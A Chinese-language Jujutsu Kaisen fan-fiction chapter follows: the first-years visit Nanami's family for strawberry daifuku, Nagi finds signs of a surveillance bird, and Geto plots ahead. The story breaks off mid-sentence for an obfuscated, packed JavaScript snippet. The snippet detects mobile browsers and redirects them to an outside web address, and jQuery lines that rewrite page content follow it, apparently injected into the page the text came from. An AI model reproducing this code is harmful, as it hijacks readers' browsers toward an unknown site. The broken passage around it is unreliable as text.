周五早晨。


    七海站在阳台上打电话，晨风微凉，吹起他额前的金发。


    电话那头是五条悟难得正经的声音。


    “……所以窗那边确认了，气球出现地点和过去两个月咒灵活动异常的区域高度重叠。”五条悟顿了顿，“更具体地说，和杰投放‘种子’的地点，重合率达到百分之八十以上。”


    七海推了镜片：“你认为气球是夏油杰计划的一部分？”


    “不是‘认为’，是基本确定。”五条悟的声音带着莫名的语气，“杰那家伙在测试某种东西。气球现象不是传统咒灵，更像是……‘大规模诅咒仪式’的副产品。他在用整个东京当试验场。”


    “目的？”


    “谁知道呢～也许是为了测试能造成多大混乱，也许是为了收集恐慌情绪强化咒灵，也许……”五条悟拉长声音，“只是为了给咱们这群老同学一点惊喜。”


    七海没说话。


    他知道夏油杰可不是会“只是为了好玩”就做这种事的人。


    那个男人的每一个行动都有明确目的。


    “对了，周末一年级生要去你家对吧？”五条悟突然切换话题，语气又变得轻快，“让顺平帮我多吃两个草莓大福～”


    “不一起来？”


    “我倒是想，但总监部那群老橘子突然召集紧急会议，大概是气球事件让他们坐不住了。”五条悟啧了一声，“而且我得去京都一趟，那边的‘种子’密度也在上升。听说有学生遇袭，乐岩寺那老头快气疯了。”


    “请小心。”


    “知道啦～替我向悠酱和小悠夏问好！还有，告诉熊猫——”


    电话那头传来熊猫遥远的喊声：“五条老师！我的卫衣洗了还没干！有没有备用的！”


    “——让他自己想办法。”五条悟笑着挂断电话。


    七海收起手机，看向远处的城市轮廓。


    晨光中，东京看起来平静如常，但他知道，在这平静之下，暗流正在汇聚成漩涡。


    他转身回屋。


    客厅里，悠正在给悠夏换尿布。


    小丫头躺在地毯上，小手小脚在空中划动，发出“啊啊”的愉悦声音。


    “七海海，早饭马上好。”悠抬头笑了笑，“今天煎蛋要全熟还是半熟？”


    “全熟。”七海走过去，蹲下身摸了摸女儿软软的脸颊。


    悠夏立刻抓住爸爸的手指，往嘴里塞。


    “啊，悠夏，这个不能吃。”悠轻轻拉开女儿的手，动作熟练地包好尿布，然后把小家伙抱起来。


    “悠，”七海站起身，带着笑意“明天一年级生都会来。熊猫……有点显眼。”


    悠笑了：“我知道，熊猫这孩子每次来都穿着那件超大的连帽卫衣，热得直冒汗。其实不用那么麻烦的，我不介意。”


    “五条悟和他们说你是普通人。”


    “那就让他们继续这么认为吧。”悠抱着悠夏走向厨房，朝七海眨眨眼睛“反正我也确实是‘普通人’——只是能看到的东西稍微多一点点。”


    同一时间，咒术高专男生宿舍。


    “所以说——这件怎么样！”


    熊猫举着一件印着“熊本熊”图案的 oversized 连帽卫衣，在镜子前转了个圈。


    衣服勉强能装下他圆滚滚的身体，帽子足够大，能完全遮住他的熊猫头。


    真希抱着手臂靠在门框上，一脸无奈：“你穿什么都像一只穿着衣服的熊猫。”


    “木鱼花。”同意


    狗卷坐在床上点头，在本子上写道：[不如直接说是cosplay爱好者。]


    “可是上次悠姐一直盯着我看……”熊猫苦恼地抓头，“她肯定觉得奇怪，为什么这个‘cosplayer’的玩偶装这么逼真，连呼吸时肚子的起伏都有……”


    顺平正在整理带给小姨的礼物——几盒高级抹茶粉和红豆馅。


    他抬头说：“其实小姨真的不介意。她上次还问我，熊猫是不是很热，要不要把空调开低点。”


    “你看！悠姐多温柔！”熊猫感动得快哭了，“但我还是得装！这是原则问题！”


    乙骨从上层床位探出头，轻声说：“那个……我准备了伴手礼。是仙台的毛豆泥鲜奶油口味喜久福，五条老师推荐的。”


    “金枪鱼！”好主意！


    狗卷立刻举手雀跃。


    “蛋黄酱！”喜久福和草莓大福可以交换吃！


    真希叹了口气：“你们到底是为了去看悠夏，还是为了点心……”


    “两者都有！”熊猫理直气壮，“而且这次我一定要抱到小悠夏！上次她一直抓着我的爪子想往嘴里塞，感觉像是看到猎物的狮子！”


    顺平笑着把礼物装袋：“小悠夏最近好像在长牙，看到什么都想咬。妈妈给她买的牙胶玩具，她咬两口就丢一边，反而对桌子腿感兴趣，经常被小姨拦下来。”


    “那是婴儿的正常探索行为。”真希难得露出笑容，“真依小时候说不定也这样。”


    房间里安静了一瞬。


    大家都知道真希和妹妹的关系复杂，谁都没接话。


    最后还是熊猫打破沉默：“好啦好啦！明天十点集合，准时出发！目标——七海家的草莓大福和天使小悠夏！”


    “鲑鱼！”赞成！


    五个少年开始认真讨论明天的“作战计划”：如何自然地在悠面前扮演普通人，如何解释狗卷的饭团语，如何让熊猫看起来“只是个穿着玩偶装的cosplayer”，以及最重要的——如何轮流抱到小悠夏。


    阳光透过宿舍窗户照进来，把这个普通的周五早晨烘得暖洋洋的。


    上午。


    吉野凪蹲在客厅窗台边，手里拿着一个放大镜，眉头紧皱。


    “奇怪……”


    窗台外沿的水泥上，有几道极浅的、像是鸟类爪印的痕迹。


    痕迹很新，周围没有灰尘被拂动的迹象，像是……有什么东西曾轻轻落在那里，停留了很久，然后无声离开。


    她站起身，走到客厅另一端，从另一个角度观察。


    光线变化时，那些痕迹几乎看不见。


    吉野凪不是咒术师，但敏锐的观察力还是让她察觉到了不同。


    她总觉得这间屋子里多了些什么——不是实体，是某种被注视的感觉。


    昨晚睡前，她明明关好了所有窗户，但今早醒来时，客厅那扇窗的锁扣松了半圈。


    不是被撬开，是像被极其细微的力量反复摩擦后自然松动。


    她拿起手机，犹豫了一下，没有打给悠——妹妹一家已经够忙了——而是打给了儿子。


    电话响了很久才接通。


    “妈妈？怎么了？”顺平的声音压得很低，背景有训练场的嘈杂声。


    “顺平，妈妈问你个事。”凪也压低声音，“咒术师……会不会用鸟之类的东西来监视别人？”


    电话那头沉默了几秒。


    “妈妈，你为什么这么问？”


    凪简单描述了窗台上的痕迹和窗户锁扣的异常。


    “……可能是‘咒骸’。”顺平的声音严肃起来，“妈妈，你最近有没有觉得被人跟踪？或者看到什么奇怪的人？”


    “没有。但是……”凪想起超市回来那天看到的远处气球，“总觉得有人在看这栋楼。”


    “妈妈，你听我说。”顺平的声音很急，“今天不要出门，锁好门。我明天就回家，到时候我检查一下。还有，这件事先别告诉小姨，她会被吓到的。”


    “我知道。”凪叹了口气，“你小姨最近照顾悠夏已经很累了。”


    挂断电话后，凪站在窗边，看着外面安静的街道。


    阳光很好，但她的心里蒙上了一层阴影。


    周六。


    门铃响起，悠正在厨房准备草莓大福的馅料。


    七海去开门。


    门外站着五个少年——真希、熊猫（穿着那件熊本熊卫衣，帽子拉得严严实实）、狗卷、乙骨，以及站在最前面的顺平。


    “姨夫好！”顺平笑得灿烂，“我们来打扰了！”


    “请进。”七海侧身让开。


    五个人鱼贯而入。


    熊猫一进门就小声说：“好香！是草莓的味道！”


    客厅里，悠系着围裙从厨房走出来，手里还拿着沾了糯米粉的木勺：“大家来啦～快坐快坐。大福还要等一会儿，我先泡茶。”


    “小姨不用忙！”顺平赶紧说，“我们自己来就好。”


    “木鱼花。”（不用客气）狗卷举起小本子。


    真希把带来的点心盒放在桌上：“这是京都的八桥饼。”


    乙骨也递上仙台的喜久福：“这是伴手礼……”


    熊猫站在原地，一动不动——因为悠夏正坐在爬行垫上，睁着海蓝色的大眼睛，好奇地看着这个“穿着熊衣服的大个子”。


    “啊，悠夏醒着呢。”悠笑着走过去抱起女儿，“来，跟大家打招呼～”


    悠夏在妈妈怀里，软软的小手挥了挥，发出“啊呜”的声音。


    她的目光依次扫过每个人，最后停在熊猫身上，眼睛明显亮了一下。


    熊猫僵住了。


    他能感觉到——小悠夏一直盯着他的脑袋。


    “熊猫君不用那么拘谨啦。”悠笑着说，“把帽子摘下来吧，很热吧？”


    “不、不热！”熊猫的声音从帽子里闷闷地传出来，“我、我喜欢这样！”


    真希扶额：“你就摘了吧，反正悠小姐早就知道了。”


    “诶？！”熊猫和顺平同时震惊。


    悠抱着悠夏，眨了眨眼：“知道什么？熊猫君不是cosplay爱好者吗？而且cos得非常逼真呢，连毛发的质感都很好。”


    客厅安静了两秒。


    然后熊猫缓缓地、颤抖地，拉下了连帽。


    毛茸茸的熊猫脸露了出来。


    他紧张地看着悠，准备迎接尖叫或质问——


    “哇，好可爱！”悠眼睛亮了，“比上次看到时更圆润了呢。顺平，这是你同学吗？这个玩偶装哪里定做的？太精致了。”


    顺平：“……啊，是、是的！是定做的！”


    熊猫：“……”（松了口气，但心情复杂）


    狗卷默默在本子上写：[不愧是悠姐。]


    乙骨轻轻笑了。


    真希摇头：“算了，你开心就好。”


    七海坐在单人沙发上，推了推眼镜，嘴角有一丝几乎看不见的笑意。


    草莓大福端上桌时，整个客厅都弥漫着甜香气。


    悠做了两种口味：传统红豆馅和奶油草莓馅。糯米皮白嫩柔软，透过薄皮能看见里面鲜红的草莓和淡粉色的奶油。


    “我开动了！”五个人齐声说。


    熊猫戴着超大size的手套小心翼翼拿起一个大福，咬了一口，然后发出幸福的叹息：“太好吃了……比外面卖的还好吃！”


    “木鱼花！鲑鱼子！”（真的！超级好吃！）狗卷嘴里塞得满满的，还不忘举本子。


    真希也点头：“甜度刚好，糯米皮的口感很完美。”


    乙骨小口吃着，轻声说：“谢谢招待。”


    顺平骄傲地说：“对吧！小姨的手艺最棒了！”


    悠抱着悠夏坐在七海身边，看着大家吃得开心，自己也笑了。


    小悠夏看着大人们吃东西，小嘴也跟着动，伸手想去抓桌子。


    “悠夏还不能吃哦。”悠轻轻握住女儿的小手，“等你长大了，妈妈也做给你吃。”


    七海端起茶杯，目光扫过客厅里的五个孩子。


    他们的笑容很真实，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186741|196498||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吃得也很开心——在这个瞬间，他们不是咒术师，只是来朋友家做客的普通高中生。


    如果世界一直这样和平就好了。


    吃到一半时，顺平的手机震动了。他看了一眼屏幕，表情微变。


    “怎么了？”真希敏锐地问。


    “妈妈发消息……”顺平压低声音，“她说家里好像有奇怪的痕迹，给我发了张照片。”


    七海的茶杯轻轻放回桌上。


    “我现在下去看看。”他站起身。


    “我也去。”顺平也跟着站起来。


    悠看了看两人，又看了看怀里的悠夏，轻声说：“小心点。”


    402室。


    吉野凪指着窗台上的痕迹给七海和顺平看。


    顺平蹲下身，用咒力感知——很微弱，但确实是咒骸残留的气息。


    “是鸟型的咒骸。”七海检查了窗户锁扣，“停留时间不长，但很频繁。至少连续监视了三天以上。”


    凪的脸色有些白：“是谁……”


    “不出所料，是夏油杰。”七海没有隐瞒，“他不知道在准备什么。”


    “那妈妈会有危险吗？姨夫？”顺平握紧拳头。


    “目前看来只是监视。”七海冷静分析，“夏油杰的目标不是普通人，除非主动妨碍他的计划。但谨慎起见——”


    他转向吉野凪：“凪姐，这两天您住我们家吧。我可以打地铺。”


    “这太打扰了……”


    “不打扰。”七海推了推眼镜，“你一个人住在这里不安全。而且悠和悠夏也会更安心。”


    顺平感激地看着姨夫：“谢谢您，姨夫。”


    “应该的。”


    三人回到606室。


    熊猫正在给悠夏表演“熊爪魔术”——其实就是把一个小球藏在爪子里，然后变出来。


    小丫头看得目不转睛，每次小球出现时都会发出“咯咯”的笑声。


    “悠夏很喜欢熊猫君。”悠笑着说。


    “因为熊猫很可爱嘛～”熊猫得意地晃了晃脑袋，然后突然僵住——悠夏伸手抓住了他的爪子，又想往嘴里塞。


    “啊！这个不能吃！”熊猫慌张但不敢动，只能求助地看向悠。


    悠笑着把女儿的小手拉开：“悠夏，熊猫君的爪子脏脏哦～”


    真希在旁边吐槽：“不如直接说‘这是别人的脏手’。”


    “木鱼花。”（但熊猫确实很可爱）狗卷写。


    乙骨安静地看着这一幕，手轻轻摸着口袋里的戒指。


    就在这时，悠的视线飘向窗外。


    她看一根极细的、暗红色的“线”，从远方延伸而来，连接着这栋公寓楼。


    线的另一端，消失在东京西边的天际。


    那不是咒力线，不是什么情绪线。


    是一种更……“根源”的东西。


    像是某个庞大存在的“触须”，轻轻搭在这栋楼上。


    线很安静，没有恶意，甚至带着某种……保护的意味。


    悠眨了眨眼，线消失了。


    “妈妈？”顺平注意到小姨在发呆。


    “啊，没什么。”悠回过神，笑着把悠夏递给七海，“七海海，你抱一会儿悠夏，我去准备午饭。”


    七海接过女儿。


    小丫头到了爸爸怀里，立刻抓住他的眼镜。


    “悠夏不可以。”七海轻声说，但没有阻止，只是任由女儿的小手在镜片上留下痕迹。


    阳光从窗外照进来，把客厅烘得暖洋洋的。


    点心的甜香还在空气中飘荡，少年少女的笑声时起时伏。


    而窗外，那根看不见的“线”，依然安静地连接着这里与远方。


    保护着。


    注视着。


    同天。


    夏油杰看着平板电脑上的监控画面——画面是静止的，显示着阳光公寓的外墙。


    昨天之前，咒骸鸟还能正常传回影像，但从昨晚开始，信号就中断了。


    不是被破坏，是像被什么“屏蔽”了。


    咒骸鸟本身还在那里，但看到的画面是一片空白，听到的声音是一片寂静。


    “有趣。”夏油杰轻轻敲击桌面，“七海家的结界……有这么强吗？”


    菜菜子站在一旁：“夏油大人。需要我们直接除掉他们吗？”


    “不必了。”夏油杰关闭平板，“既然对方表明了‘不欢迎窥视’，那我们也要懂得礼貌。反正……重要的不是监视结果，而是监视这个行为本身。”


    “您的意思是？”


    “让七海知道我在看着，就够了。”夏油杰微微一笑，“他是个聪明人，知道该怎么做。而我们——”


    他看向墙上的日历。


    今天是11月7日。


    距离12月24日，还有47天。


    “——还有更重要的事要准备。”


    美美子轻声问：“夏油大人，关于人头气球……那些被抹消的气球，真的和那个猴子有关吗？”


    夏油杰摸着下巴，沉默了片刻。


    “不知道。”他最终说，“但如果是真的……那就有意思了。一个能让‘规则现象’失效的普通人？还是说，七海隐藏了什么？”


    他站起身，看向远处不知道在想什么。


    “肮脏的猴子。”


    平静之下，恐慌正在蔓延。


    气球事件已经让整座城市陷入了集体性焦虑——而这，正是“百鬼夜行”最好的养料。


    “继续按计划推进。”夏油杰说，“种子已经播下，接下来就是等待它们发芽、生长、然后……”


    他伸出手，掌心向上，缓缓握紧。


    “……收获。”


    窗外，一片枯叶被风吹起，在空中打了个旋，然后无声落下。


    冬天，快来了。